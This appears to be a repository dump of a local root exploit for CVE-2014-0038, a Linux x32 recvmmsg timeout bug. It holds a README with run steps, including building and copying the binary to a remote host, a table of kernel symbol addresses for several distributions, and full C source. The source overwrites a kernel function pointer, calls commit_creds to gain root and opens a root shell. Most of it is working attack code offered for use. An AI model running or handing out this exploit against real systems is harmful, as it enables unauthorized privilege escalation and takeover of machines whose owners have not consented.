├── addresses ├── README.md └── timeoutpwn.c /addresses: -------------------------------------------------------------------------------- 1 | Addresses for other Kernels 2 | ===================================== 3 | 4 | Manjaro - 3.12.8-1-MANJARO 5 | -------------------------- 6 | PTMX_FOPS 0xffffffff81b1ca60LL 7 | TTY_RELEASE 0xffffffff8134ea90LL 8 | COMMIT_CREDS 0xffffffff8108a1d0LL 9 | PREPARE_KERNEL_CRED 0xffffffff8108a4c0LL 10 | 11 | 12 | Arch - 3.12.9-1-ARCH 13 | -------------------- 14 | PTMX_FOPS 0xffffffff81b1ba60LL 15 | TTY_RELEASE 0xffffffff8134f990LL 16 | COMMIT_CREDS 0xffffffff8108b420LL 17 | PREPARE_KERNEL_CRED 0xffffffff8108b710LL 18 | 19 | 20 | Ubuntu - 3.11.0-88-mptcp 21 | ------------------------ 22 | PTMX_FOPS 0xffffffff81eeeac0LL 23 | TTY_RELEASE 0xffffffff813c0560LL 24 | COMMIT_CREDS 0xffffffff8107a330LL 25 | PREPARE_KERNEL_CRED 0xffffffff8107a600LL 26 | 27 | 28 | Ubuntu - 3.8.0-31-generic 29 | ------------------------- 30 | PTMX_FOPS 0xffffffff81f16f20LL 31 | TTY_RELEASE 0xffffffff81420e40LL 32 | COMMIT_CREDS 0xffffffff810867a0LL 33 | PREPARE_KERNEL_CRED 0xffffffff81086a20LL 34 | 35 | 36 | Ubuntu - 3.8.0-35-generic 37 | ------------------------- 38 | PTMX_FOPS 0xffffffff81f13f60LL 39 | TTY_RELEASE 0xffffffff81411f90LL 40 | COMMIT_CREDS 0xffffffff81084800LL 41 | PREPARE_KERNEL_CRED 0xffffffff81084ac0LL 42 | 43 | 44 | Ubuntu - 3.8.0-29-generic (Ubuntu Server 12.04.3) 45 | ------------------------------------------------- 46 | PTMX_FOPS 0xffffffff81f16f20LL 47 | TTY_RELEASE 0xffffffff81420c30LL 48 | COMMIT_CREDS 0xffffffff81086780LL 49 | PREPARE_KERNEL_CRED 0xffffffff81086a00LL 50 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | Local root exploit for CVE-2014-0038 2 | ==================================== 3 | 4 | Bug: 5 | ---- 6 | The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer 7 | passed from userspace. 8 | 9 | Exploit primitive: 10 | ------------------ 11 | Pass a pointer to a kernel address as timeout for recvmmsg, 12 | if the original byte at that address is known it can be overwritten 13 | with known data. 14 | If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00. 15 | 16 | Restrictions: 17 | ------------- 18 | The first long at the passed address (tv_sec) has to be positive 19 | and the second long (tv_nsec) has to be smaller than 1000000000. 20 | 21 | Overview: 22 | --------- 23 | Target the release function pointer of the ptmx_fops structure located in 24 | non initialized (and thus writable) kernel memory. Zero out the three most 25 | significant bytes and thus turn it into a pointer to an address mappable in 26 | user space. 27 | The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec 28 | is valid). 29 | Open /dev/ptmx, close it and enjoy. 30 | 31 | Not very beautiful but should be fairly reliable if symbols can be resolved. 32 | 33 | Tested on Ubuntu 13.10 34 | 35 | See also http://blog.includesecurity.com/2014/03/exploit-CVE-2014-0038-x32-recvmmsg-kernel-vulnerablity.html 36 | 37 | Run: 38 | ---- 39 | Retrieve addresses from `/proc/kallsyms` and run the exploit: 40 | 41 | ./build.sh && ./timeoutpwn 42 | 43 | If you would like to build the binary for a remote server, try this: 44 | 45 | ssh user@host 'cat /proc/kallsyms' > syms.txt 46 | CFLAGS=-static ./build.sh syms.txt 47 | scp timeoutpwn user@host: 48 | ... 49 | 50 | If `ptmx_fops` cannot be found in kallsyms, try extracting it from the vmlinux 51 | as provided with the headers package (`linux-headers` on Arch Linux): 52 | 53 | nm /lib/modules/$(uname -r)/build/vmlinux > syms.txt 54 | -------------------------------------------------------------------------------- /timeoutpwn.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Local root exploit for CVE-2014-0038. 3 | * 4 | * Bug: The X86_X32 recvmmsg syscall does not properly sanitize the timeout pointer 5 | * passed from userspace. 6 | * 7 | * Exploit primitive: Pass a pointer to a kernel address as timeout for recvmmsg, 8 | * if the original byte at that address is known it can be overwritten 9 | * with known data. 10 | * If the least significant byte is 0xff, waiting 255 seconds will turn it into a 0x00. 11 | * 12 | * Restrictions: The first long at the passed address (tv_sec) has to be positive 13 | * and the second long (tv_nsec) has to be smaller than 1000000000. 14 | * 15 | * Overview: Target the release function pointer of the ptmx_fops structure located in 16 | * non initialized (and thus writable) kernel memory. Zero out the three most 17 | * significant bytes and thus turn it into a pointer to an address mappable in 18 | * user space. 19 | * The release pointer is used as it is followed by 16 0x00 bytes (so the tv_nsec 20 | * is valid). 21 | * Open /dev/ptmx, close it and enjoy. 22 | * 23 | * Not very beautiful but should be fairly reliable if symbols can be resolved. 24 | * 25 | * Tested on Ubuntu 13.10 26 | * 27 | * gcc timeoutpwn.c -o pwn && ./pwn 28 | * 29 | * Written by saelo 30 | */ 31 | #define _GNU_SOURCE 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | #include 43 | #include 44 | 45 | #define __X32_SYSCALL_BIT 0x40000000 46 | #undef __NR_recvmmsg 47 | #define __NR_recvmmsg (__X32_SYSCALL_BIT + 537) 48 | 49 | #define BUFSIZE 200 50 | #define PAYLOADSIZE 0x2000 51 | #define FOPS_RELEASE_OFFSET 13*8 52 | 53 | /* 54 | * Adapt these addresses for your need. 55 | * see /boot/System.map* or /proc/kallsyms 56 | * These are the offsets from ubuntu 3.11.0-12-generic. 57 | */ 58 | #ifndef PTMX_FOPS 59 | #define PTMX_FOPS 0xffffffff81fb30c0LL 60 | #define TTY_RELEASE 0xffffffff8142fec0LL 61 | #define COMMIT_CREDS 0xffffffff8108ad40LL 62 | #define PREPARE_KERNEL_CRED 0xffffffff8108b010LL 63 | #endif 64 | 65 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 66 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 67 | 68 | /* 69 | * Match signature of int release(struct inode*, struct file*). 70 | * 71 | * See here: http://grsecurity.net/~spender/exploits/enlightenment.tgz 72 | */ 73 | int __attribute__((regparm(3))) 74 | kernel_payload(void* foo, void* bar) 75 | { 76 | _commit_creds commit_creds = (_commit_creds)COMMIT_CREDS; 77 | _prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED; 78 | 79 | /* restore function pointer and following two longs */ 80 | *((int*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 4)) = -1; 81 | *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 8)) = 0; 82 | *((long*)(PTMX_FOPS + FOPS_RELEASE_OFFSET + 16)) = 0; 83 | 84 | /* escalate to root */ 85 | commit_creds(prepare_kernel_cred(0)); 86 | 87 | return -1; 88 | } 89 | 90 | /* 91 | * Write a zero to the byte at then given address. 92 | * Only works if the current value is 0xff. 93 | */ 94 | void zero_out(long addr) 95 | { 96 | int sockfd, retval, port, pid, i; 97 | struct sockaddr_in sa; 98 | char buf[BUFSIZE]; 99 | struct mmsghdr msgs; 100 | struct iovec iovecs; 101 | 102 | srand(time(NULL)); 103 | 104 | port = 1024 + (rand() % (0x10000 - 1024)); 105 | 106 | sockfd = socket(AF_INET, SOCK_DGRAM, 0); 107 | if (sockfd == -1) { 108 | perror("socket()"); 109 | exit(EXIT_FAILURE); 110 | } 111 | 112 | sa.sin_family = AF_INET; 113 | sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 114 | sa.sin_port = htons(port); 115 | if (bind(sockfd, (struct sockaddr *) &sa, sizeof(sa)) == -1) { 116 | perror("bind()"); 117 | exit(EXIT_FAILURE); 118 | } 119 | 120 | memset(&msgs, 0, sizeof(msgs)); 121 | iovecs.iov_base = buf; 122 | iovecs.iov_len = BUFSIZE; 123 | msgs.msg_hdr.msg_iov = &iovecs; 124 | msgs.msg_hdr.msg_iovlen = 1; 125 | 126 | /* 127 | * start a seperate process to send a udp message after 255 seconds so the syscall returns, 128 | * but not after updating the timout struct and writing the remaining time into it. 129 | * 0xff - 255 seconds = 0x00 130 | */ 131 | printf("clearing byte at 0x%lx\n", addr); 132 | pid = fork(); 133 | if (pid == 0) { 134 | memset(buf, 0x41, BUFSIZE); 135 | 136 | if ((sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) { 137 | perror("socket()"); 138 | exit(EXIT_FAILURE); 139 | } 140 | 141 | sa.sin_family = AF_INET; 142 | sa.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 143 | sa.sin_port = htons(port); 144 | 145 | sleep(0xfe); 146 | 147 | printf("waking up parent...\n"); 148 | sendto(sockfd, buf, BUFSIZE, 0, &sa, sizeof(sa)); 149 | exit(EXIT_SUCCESS); 150 | } else if (pid > 0) { 151 | retval = syscall(__NR_recvmmsg, sockfd, &msgs, 1, 0, (void*)addr); 152 | if (retval == -1) { 153 | printf("address can't be written to, not a valid timespec struct!\n"); 154 | exit(EXIT_FAILURE); 155 | } 156 | waitpid(pid, 0, 0); 157 | printf("byte zeroed out\n"); 158 | } else { 159 | perror("fork()"); 160 | exit(EXIT_FAILURE); 161 | } 162 | } 163 | 164 | int main(int argc, char** argv) 165 | { 166 | long code, target; 167 | int pwn, i, pids[3]; 168 | 169 | /* Prepare payload... */ 170 | printf("preparing payload buffer...\n"); 171 | code = (long)mmap((void*)(TTY_RELEASE & 0x000000fffffff000LL), PAYLOADSIZE, 7, 0x32, 0, 0); 172 | memset((void*)code, 0x90, PAYLOADSIZE); 173 | code += PAYLOADSIZE - 1024; 174 | memcpy((void*)code, &kernel_payload, 1024); 175 | 176 | /* 177 | * Now clear the three most significant bytes of the fops pointer 178 | * to the release function. 179 | * This will make it point into the memory region mapped above. 180 | */ 181 | printf("changing kernel pointer to point into controlled buffer...\n"); 182 | target = PTMX_FOPS + FOPS_RELEASE_OFFSET; 183 | for (i = 0; i < 3; i++) { 184 | pids[i] = fork(); 185 | if (pids[i] == 0) { 186 | zero_out(target + (5 + i)); 187 | exit(EXIT_SUCCESS); 188 | } 189 | sleep(1); 190 | } 191 | printf("waiting for timeouts...\n"); 192 | printf("0s/255s\n"); 193 | for (i = 10; i <= 250; i += 10) { 194 | sleep(10); 195 | printf("%is/255s\n", i); 196 | } 197 | for (i = 0; i < 3; i++) { 198 | waitpid(pids[i], 0, 0); 199 | } 200 | 201 | /* ... and trigger. */ 202 | printf("releasing file descriptor to call manipulated pointer in kernel mode...\n"); 203 | pwn = open("/dev/ptmx", 'r'); 204 | close(pwn); 205 | 206 | if (getuid() != 0) { 207 | printf("failed to get root :(\n"); 208 | exit(EXIT_FAILURE); 209 | } 210 | 211 | printf("got root, enjoy :)\n"); 212 | return execl("/bin/bash", "-sh", NULL); 213 | } 214 | --------------------------------------------------------------------------------